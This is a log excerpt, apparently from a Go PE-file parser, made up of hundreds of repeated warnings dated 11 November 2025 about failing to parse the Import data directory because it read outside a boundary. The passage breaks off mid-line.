+time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:55+01:00 